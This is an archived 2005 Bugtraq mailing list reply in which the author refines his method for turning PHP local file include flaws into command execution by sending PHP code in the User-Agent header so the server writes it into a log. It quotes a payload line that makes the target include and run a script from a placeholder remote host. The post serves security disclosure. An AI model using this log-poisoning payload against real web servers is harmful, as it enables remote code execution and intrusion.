Bugtraq mailing list archives
Re: using php local file include vulnerabilities for command execution
From: Andreas Zeidler <az () zitc de>
Date: Tue, 11 Oct 2005 19:44:39 +0200
On Tue, Oct 11 18:34, Andreas Zeidler <az () zitc de> wrote:
the idea that hit me before falling asleep was to send the code i needed (like <?php include('http://xx.xx.xx.xx/script.php'); ?>) via the referer string, this way having the web server write it into a file
well, i actually used the user-agent here, not the referer. but i guess unless the server checks if the given referer represents a valid url i won't make much difference...
andi
-- zeidler it consulting - http://zitc.de/ - info () zitc de karl-kunger-str 59 - 12435 berlin - telefon +49 30 25563779 keine softwarepatente in europa! - http://noepatents.eu.org/
Attachment:
signature.asc
Description: Digital signature
Current thread:
- using php local file include vulnerabilities for command execution Andreas Zeidler (Oct 12)
- Re: using php local file include vulnerabilities for command execution Andreas Zeidler (Oct 12)